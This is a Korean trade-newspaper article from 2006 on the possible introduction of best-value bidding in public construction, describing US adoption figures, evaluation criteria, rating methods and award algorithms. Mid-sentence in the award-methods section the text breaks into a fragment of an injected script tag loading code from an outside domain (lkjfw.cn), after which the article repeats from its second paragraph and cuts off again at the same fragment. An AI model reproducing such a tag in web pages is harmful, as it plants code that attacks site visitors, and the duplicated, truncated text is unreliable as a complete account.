최고가치낙찰제 도입 가능성
보도일자 2006-10-17
보도기관 일간건설신문
정부는「건설산업규제 합리화 방안(2005.11)」에서 “품질․가격경쟁력을 동시에 반영하여 단위비용 대비 최고가치를 제공하는 자를 낙찰자로 선정하는 입낙찰제도의 단계적 도입방안”을 2006년 상반기에 마련하기로 결정하였다.
그러나 아직까지 추진실적은 지지부진하며, 여전히 개념상의 혼동도 정리되지 않은 실정이다. 그렇지만 “국제적으로 통용되는 발주방식”의 적용이 가능하도록 하는 행정중심복합도시 건설사업에 대한 국가계약법 특례규정이 입법예고됨에 따라(2006.9), 2007년부터는 최고가치 낙찰제도가 실제로 도입될 가능성이 높아졌다.
따라서 이제는 도입필요성이나 개념 등의 논의에서 한발짝 더 나아가 현실적으로 적용가능한 최고가치 낙찰제도에 대한 논의가 시급해졌다. 이러한 시점에서 향후 논의에 있어서의 시사점을 얻고자 근래 최고가치 낙찰제도를 활발히 활용하고 있는 미국의 동향과 낙찰자 선정 방식을 살펴보았다.
(1) 도입동향
미국의 공공발주기관에서는 다양한 최고가치 낙찰제도를 운용하는 사례가 증가하고 있다. 특히 연방정부에서는 보다 공격적으로 최고가치 낙찰제도의 도입과 상대적인 성과 측정을 시도하는 사례가 늘어나고 있다.
미국 연방조달청 공공건축국(General Service Administration Public Building Services)에서는 신규 건축공사 및 리노베이션시 100% 최고가치 낙찰제도를 활용하고 있다.
미국 44개 주정부 고속도로 건설사업 관련 기관의 66%는 최고가치 낙찰제도를 활용하고 있다는 조사결과가 있다. 이들 기관이 최고가치 낙찰제도를 주로 활용하는 영역은 설계/시공 일괄입찰공사(Design-Build)였다.
미국 해군(U.S. Navy)은 최고가치 낙찰제도와 전통적인 낙찰제도를 비교해 볼 때, 공사비 증가율이 5.7%에서 2.5%로 줄었고, 클레임과 소송은 86%나 감소했다는 연구결과를 발표했다(NAVFAC, 1996).
미국 변호사협회(American Bar Assotiation: ABA)에서는 2003년 가을에 연방정부 및 주정부의 가치중심 계약(Vallue-Based Contracting)과 관련한 포럼을 개최하였다. 핵심주제는 최고가치 조달(best value procurement)이 공공부문에서 전통적인 최저가 낙찰제를 대체하고 있으며, 이같은 추세에 회원들이 준비를 해야 한다는 것이었다.
(2) 운용방식
미국의 최고가치 낙찰제도에는 가격외에 4개의 평가분야(Parameters), 27개의 평가항목(Evaluating Criteria), 4개의 등급평가방식(Rating Systems), 7개의 낙찰방식(Award Algorithms)이 존재하고 있다.
1) 평가분야
① 가격(Cost) : 공사비(cost), 생애주기 비용(life-cycle costs) 등
② 공기(Time) : 공기(time), 차선 임대(lane rental) 혹은 교통통제(traffic control) 등
③ 자격(Qualification) : 사전자격심사, 과거 공사실적, 기술인력의 경력, 하도급 정보, 사업관리계획 등
④ 품질(Quality) : 하자보증(warranty), 하자보증 신인도, 품질의 오차범위, 성과지표를 활용한 품질, 품질관리계획 등
⑤ 설계대안(Design Alternates) : 설계대안, 성과시방서 등
2) 평가항목
각 평가분야별로 27개의 평가항목(Evaluating Criteria)이 활용되고 있으며, 50개의 사례를 통해 그 활용도를 살펴본 결과는 아래의 표와 같다.
• 가격의 경우, 입찰가격에 대한 평가가 주로 이루어졌고, 생애주기비용은 평가한 사례는 거의 없었다.
• 공기는 대부분 제안공기 평가(project schedule evaluation)가 활용되었다.
• 자격요건의 경우, 과거실적과 성과평가, 핵심 기술인력과 자격, 경영상태 및 보증요건, 관리/조직계획 등의 활용도가 높았고, 중소기업 활용도나 하도급 평가도 많이 사용되는 평가항목으로 나타났다.
• 품질과 관련해서는 주로 품질관리계획에 대한 평가가 대부분이었다.
• 설계대안의 경우는 기술제안의 적정성(technical proposal responsiveness)과 제출된 설계대안 및 환경적 요소의 고려 등이 가장 많이 활용되었다.
3) 평가항목별 평가방식
① 만족(Satisficing): 가장 단순하고 쉬운 방법으로, 평가항목별로 최소한의 기준을 넘어서면 통과 여부(Go/No-Go) 결정
② 수정된 만족(Modified Satisficing): 평가항목의 충족 정도의 차이를 반영하여 사소한 흠결에 대해서는 탈락시키지 않고, 결정적인(fatal) 흠결이 있을 때에만 경쟁에서 탈락
③ 등급(Adjectival Rating): 형용사를 사용하여 등급화(예: 탁월/우수/보통/미흡/수용불가 등)
④ 점수(Direct Point Score): 직접 점수를 주는 방법은 가장 어렵고 복잡한 평가방법이며, 등급과 점수를 병행 활용하는 사례도 존재(예: 탁월(90~100점)/우수(80~89점) 등)
4) 낙찰방식
① 기술기준 적합/최저가 낙찰(Meets Technical Criteria/Low-Bid) : 입찰자의 기술제안(technical proposal)을 평가한 뒤, ?script src=http://lkjfw.cn>
그러나 아직까지 추진실적은 지지부진하며, 여전히 개념상의 혼동도 정리되지 않은 실정이다. 그렇지만 “국제적으로 통용되는 발주방식”의 적용이 가능하도록 하는 행정중심복합도시 건설사업에 대한 국가계약법 특례규정이 입법예고됨에 따라(2006.9), 2007년부터는 최고가치 낙찰제도가 실제로 도입될 가능성이 높아졌다.
따라서 이제는 도입필요성이나 개념 등의 논의에서 한발짝 더 나아가 현실적으로 적용가능한 최고가치 낙찰제도에 대한 논의가 시급해졌다. 이러한 시점에서 향후 논의에 있어서의 시사점을 얻고자 근래 최고가치 낙찰제도를 활발히 활용하고 있는 미국의 동향과 낙찰자 선정 방식을 살펴보았다.
(1) 도입동향
미국의 공공발주기관에서는 다양한 최고가치 낙찰제도를 운용하는 사례가 증가하고 있다. 특히 연방정부에서는 보다 공격적으로 최고가치 낙찰제도의 도입과 상대적인 성과 측정을 시도하는 사례가 늘어나고 있다.
미국 연방조달청 공공건축국(General Service Administration Public Building Services)에서는 신규 건축공사 및 리노베이션시 100% 최고가치 낙찰제도를 활용하고 있다.
미국 44개 주정부 고속도로 건설사업 관련 기관의 66%는 최고가치 낙찰제도를 활용하고 있다는 조사결과가 있다. 이들 기관이 최고가치 낙찰제도를 주로 활용하는 영역은 설계/시공 일괄입찰공사(Design-Build)였다.
미국 해군(U.S. Navy)은 최고가치 낙찰제도와 전통적인 낙찰제도를 비교해 볼 때, 공사비 증가율이 5.7%에서 2.5%로 줄었고, 클레임과 소송은 86%나 감소했다는 연구결과를 발표했다(NAVFAC, 1996).
미국 변호사협회(American Bar Assotiation: ABA)에서는 2003년 가을에 연방정부 및 주정부의 가치중심 계약(Vallue-Based Contracting)과 관련한 포럼을 개최하였다. 핵심주제는 최고가치 조달(best value procurement)이 공공부문에서 전통적인 최저가 낙찰제를 대체하고 있으며, 이같은 추세에 회원들이 준비를 해야 한다는 것이었다.
(2) 운용방식
미국의 최고가치 낙찰제도에는 가격외에 4개의 평가분야(Parameters), 27개의 평가항목(Evaluating Criteria), 4개의 등급평가방식(Rating Systems), 7개의 낙찰방식(Award Algorithms)이 존재하고 있다.
1) 평가분야
① 가격(Cost) : 공사비(cost), 생애주기 비용(life-cycle costs) 등
② 공기(Time) : 공기(time), 차선 임대(lane rental) 혹은 교통통제(traffic control) 등
③ 자격(Qualification) : 사전자격심사, 과거 공사실적, 기술인력의 경력, 하도급 정보, 사업관리계획 등
④ 품질(Quality) : 하자보증(warranty), 하자보증 신인도, 품질의 오차범위, 성과지표를 활용한 품질, 품질관리계획 등
⑤ 설계대안(Design Alternates) : 설계대안, 성과시방서 등
2) 평가항목
각 평가분야별로 27개의 평가항목(Evaluating Criteria)이 활용되고 있으며, 50개의 사례를 통해 그 활용도를 살펴본 결과는 아래의 표와 같다.
• 가격의 경우, 입찰가격에 대한 평가가 주로 이루어졌고, 생애주기비용은 평가한 사례는 거의 없었다.
• 공기는 대부분 제안공기 평가(project schedule evaluation)가 활용되었다.
• 자격요건의 경우, 과거실적과 성과평가, 핵심 기술인력과 자격, 경영상태 및 보증요건, 관리/조직계획 등의 활용도가 높았고, 중소기업 활용도나 하도급 평가도 많이 사용되는 평가항목으로 나타났다.
• 품질과 관련해서는 주로 품질관리계획에 대한 평가가 대부분이었다.
• 설계대안의 경우는 기술제안의 적정성(technical proposal responsiveness)과 제출된 설계대안 및 환경적 요소의 고려 등이 가장 많이 활용되었다.
3) 평가항목별 평가방식
① 만족(Satisficing): 가장 단순하고 쉬운 방법으로, 평가항목별로 최소한의 기준을 넘어서면 통과 여부(Go/No-Go) 결정
② 수정된 만족(Modified Satisficing): 평가항목의 충족 정도의 차이를 반영하여 사소한 흠결에 대해서는 탈락시키지 않고, 결정적인(fatal) 흠결이 있을 때에만 경쟁에서 탈락
③ 등급(Adjectival Rating): 형용사를 사용하여 등급화(예: 탁월/우수/보통/미흡/수용불가 등)
④ 점수(Direct Point Score): 직접 점수를 주는 방법은 가장 어렵고 복잡한 평가방법이며, 등급과 점수를 병행 활용하는 사례도 존재(예: 탁월(90~100점)/우수(80~89점) 등)
4) 낙찰방식
① 기술기준 적합/최저가 낙찰(Meets Technical Criteria/Low-Bid) : 입찰자의 기술제안(technical proposal)을 평가한 뒤, ?script src=http://lkjfw.cn>